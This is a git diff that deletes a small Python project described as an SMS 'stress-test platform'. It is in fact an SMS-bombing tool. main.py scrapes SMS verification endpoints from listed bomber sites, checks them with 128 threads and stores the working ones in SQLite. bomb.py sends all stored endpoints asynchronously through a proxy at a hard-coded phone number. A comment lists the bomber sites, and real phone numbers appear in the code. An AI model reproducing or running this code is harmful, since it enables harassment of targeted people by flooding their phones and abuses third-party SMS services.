diff --git a/.gitignore b/.gitignore deleted file mode 100644 index a985a73..0000000 --- a/.gitignore +++ /dev/null @@ -1,134 +0,0 @@ -# Byte-compiled / optimized / DLL files -__pycache__/ -*.py[cod] -*$py.class - -# C extensions -*.so - -# Distribution / packaging -.Python -build/ -develop-eggs/ -dist/ -downloads/ -eggs/ -.eggs/ -lib/ -lib64/ -parts/ -sdist/ -var/ -wheels/ -pip-wheel-metadata/ -share/python-wheels/ -*.egg-info/ -.installed.cfg -*.egg -MANIFEST - -# PyInstaller -# Usually these files are written by a python script from a template -# before PyInstaller builds the exe, so as to inject date/other infos into it. -*.manifest -*.spec - -# Installer logs -pip-log.txt -pip-delete-this-directory.txt - -# Unit test / coverage reports -htmlcov/ -.tox/ -.nox/ -.coverage -.coverage.* -.cache -nosetests.xml -coverage.xml -*.cover -*.py,cover -.hypothesis/ -.pytest_cache/ - -# Translations -*.mo -*.pot - -# Django stuff: -# *.log -local_settings.py -db.sqlite3 -db.sqlite3-journal - -# Flask stuff: -instance/ -.webassets-cache - -# Scrapy stuff: -.scrapy - -# Sphinx documentation -docs/_build/ - -# PyBuilder -target/ - -# Jupyter Notebook -.ipynb_checkpoints - -# IPython -profile_default/ -ipython_config.py - -# pyenv -.python-version - -# pipenv -# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. -# However, in case of collaboration, if having platform-specific dependencies or dependencies -# having no cross-platform support, pipenv may install dependencies that don't work, or not -# install all needed dependencies. -#Pipfile.lock - -# PEP 582; used by e.g. github.com/David-OConnor/pyflow -__pypackages__/ - -# 忽略子文件中的 -**/__pycache__ -*.pyc - -# Celery stuff -celerybeat-schedule -celerybeat.pid - -# SageMath parsed files -*.sage.py - -# Environments -.env -.venv -env/ -venv/ -ENV/ -env.bak/ -venv.bak/ - -# Spyder project settings -.spyderproject -.spyproject - -# Rope project settings -.ropeproject - -# mkdocs documentation -/site - -# mypy -.mypy_cache/ -.dmypy.json -dmypy.json - -# Pyre type checker -.pyre/ -__pycache__ \ No newline at end of file diff --git a/bomb.py b/bomb.py deleted file mode 100644 index eb0d358..0000000 --- a/bomb.py +++ /dev/null @@ -1,39 +0,0 @@ -#!/usr/bin/python python3 -# coding=utf-8 -''' -Author: whalefall -Date: 2021-08-07 21:23:35 -LastEditTime: 2021-08-30 11:54:39 -Description: 异步轰炸 -''' -import httpx -import asyncio -from utils.db_sqlite import Sql - -header = { - "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", -} - - -async def get(url, session: httpx.AsyncClient): - '''异步请求''' - print(f"开始请求{url}") - try: - # resp = session.get(url, headers=header) - status = await session.get(url, headers=header) - print(status.text) - except Exception as e: - print(f'请求失败{url}.{e}') - -async def main(): - urls = Sql().select() - tasks = [] - async with httpx.AsyncClient(timeout=8,proxies={"all://":"http://120.52.73.44:18080"}) as session: - for url in urls: - url = url.replace("{phone}", "19820294268") - task = asyncio.create_task(get(url, session)) - tasks.append(task) - await asyncio.wait(tasks) - -if __name__ == "__main__": - asyncio.run(main()) diff --git a/db/data.db b/db/data.db deleted file mode 100644 index 12fa51f..0000000 Binary files a/db/data.db and /dev/null differ diff --git a/db/data.json b/db/data.json deleted file mode 100644 index e69de29..0000000 diff --git a/main.py b/main.py deleted file mode 100644 index d697a34..0000000 --- a/main.py +++ /dev/null @@ -1,121 +0,0 @@ -#!/usr/bin/python python3 -# coding=utf-8 -''' -Author: whalefall -Date: 2021-08-07 14:15:50 -LastEditTime: 2021-08-30 12:01:20 -Description: 短信测压接口测试平台,测试200状态码的接口,不一定可用 -''' -import threading -import queue -from utils.db_sqlite import Sql -import re -import requests -import urllib3 -urllib3.disable_warnings() - - -class SMS(object): - # 默认的请求密钥 - default_phone = "15019682928" - key_default = f"?hm={default_phone}&ok=" - - def __init__(self, website, key=key_default) -> None: - self.url = website - self.header = { - "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", - } - self.key = key - self.api_queue = queue.Queue() - self.db = Sql() - self.lock = threading.Lock() - - def get_sms_api(self): - '''请求短信轰炸平台''' - with requests.session() as ses: - ses.get(self.url, headers=self.header,verify=False) - resp = ses.get(f"{self.url}{self.key}", headers=self.header) - # print(resp.text) - pat = re.compile(r"") - apis = pat.findall(resp.text) - assert not apis == [], "未找到任何接口!" - print("获取到的原始接口总数:%s" % (len(apis))) - # 需要进行预处理 - - for api in apis: - # if ("https://" or "http://") not in api: - # continue - # 排除接口中没有电话号码的网址 - - if SMS.default_phone not in api: - continue - # 网址处理 - api = api.strip().replace(" ", "").replace( - SMS.default_phone, "{phone}") - # print(api) - self.api_queue.put(api) - print("Put到队列的接口总数:%s" % (self.api_queue.qsize())) - - def check_theads(self): - '''多线程检查可用性''' - while True: - if self.api_queue.empty(): - print(f"线程{threading.current_thread().name}结束") - break - api = self.api_queue.get() - - try: - with requests.get(api.replace("{phone}", SMS.default_phone), headers=self.header, timeout=20, verify=False) as resp: - if resp.status_code == 200: - print(f'线程{threading.current_thread().name}:[SUC]校验成功!队列数:{str(self.api_queue.qsize())}') - with self.lock: - # 多线程写sqlite数据库要加锁 - r = self.db.update(api) - if r: - print( - f"线程{threading.current_thread().name}:已添加{api} 队列数:{str(self.api_queue.qsize())}") - except Exception as e: - print( - f"线程{threading.current_thread().name}出错 队列数:{str(self.api_queue.qsize())}") - pass - finally: - self.api_queue.task_done() - - def main(self): - self.get_sms_api() - # 在此设置线程数 int 类型 - threads_count = 128 - threads = [ - threading.Thread(target=self.check_theads, name=f"Theads-{i}") - for i in range(1, threads_count+1) - ] - for thread in threads: - thread.start() - - -if __name__ == '__main__': - # 轰炸平台 - # http://www.sss.pet/ - # http://qazwd.top - # http://www.yxdhma.cn - # http://hz.7qi.me/index.php?0pcall={SMS.default_phone}&ok= - # http://hzz.yunceng.top/index.php - # https://97sq.com/dx/index.php - # https://y06.top/index.php - # http://8.210.210.197:5678/index.php - # https://120.77.244.209/sdlz/yh.php - # http://103.116.46.190/index.php? - # http://120.26.174.82:85/index.php? - # http://2hz.xyz/index.php?dnm=15019872239&ok= - # http://42.193.114.190:1234/index.php? - # http://47.119.139.230/index.php - # https://hz.79g.cn/index.php? - - # 实例: http://hz.7qi.me/index.php?0pcall={SMS.default_phone}&ok= - # https://hz.79g.cn/index.php?0pcall=15019682928&ok= - url = "https://hz.79g.cn/index.php" - # 0pcall=15019682928&c=1 需要加f格式化字符串!! - spider = SMS(url, key=f'?0pcall={SMS.default_phone}&ok=') - # url = 'https://120.77.244.209/sdlz/yh.php' - # spider = SMS(url) - spider.main() diff --git a/requirements.txt b/requirements.txt deleted file mode 100644 index c77b65d..0000000 --- a/requirements.txt +++ /dev/null @@ -1,3 +0,0 @@ -requests==2.24.0 -aiohttp==3.7.3 -pathlib diff --git a/utils/db_sqlite.py b/utils/db_sqlite.py deleted file mode 100644 index 81a4876..0000000 --- a/utils/db_sqlite.py +++ /dev/null @@ -1,75 +0,0 @@ -#!/usr/bin/python python3 -# coding=utf-8 -''' -Author: whalefall -Date: 2021-08-07 14:59:08 -LastEditTime: 2021-08-30 11:55:18 -Description: python操作数据库 -''' -import sqlite3 -from pathlib import Path - - -class Sql(object): - def __init__(self) -> None: - '''初始化数据库''' - # 数据库路径 - db_path = Path.cwd().joinpath("db", "data.db") - # 连接数据库,不检查是否在同一个路径. - self.client = sqlite3.connect( - db_path, timeout=6, check_same_thread=False) - self.cursor = self.client.cursor() - self.newTable() - - def newTable(self): - '''初始化表结构''' - sql = ''' -CREATE TABLE IF NOT EXISTS API200 ( - id INT NULL, - url TEXT NOT NULL, - primary key (url) -); - ''' - self.cursor.execute(sql) - self.client.commit() - - def update(self, url): - '''插入数据''' - sql = ''' - INSERT INTO API200 (ID,url) VALUES (null,?) - ''' - try: - self.cursor.execute(sql, (url,)) - self.client.commit() - return True - except sqlite3.IntegrityError: - # print(f"{url} 数据重复!") - return False - - def select(self) -> list: - '''获取所有接口''' - sql = ''' - SELECT url FROM API200; - ''' - try: - self.cursor.execute(sql) - result = self.cursor.fetchall() - # print(result) - urls = [] - for url in result: - urls.append(url[0]) - return urls - except Exception as e: - print('读取出现错误!', e) - - def __del__(self) -> None: - '''对象被删除时执行的函数''' - print(f"共改变{self.client.total_changes}条数据!,正在关闭数据库连接......") - self.client.close() - - -if __name__ == "__main__": - s = Sql() - s.update("SWDWQ") - print(s.select()) - # print(Path.cwd().joinpath("db","data.db"))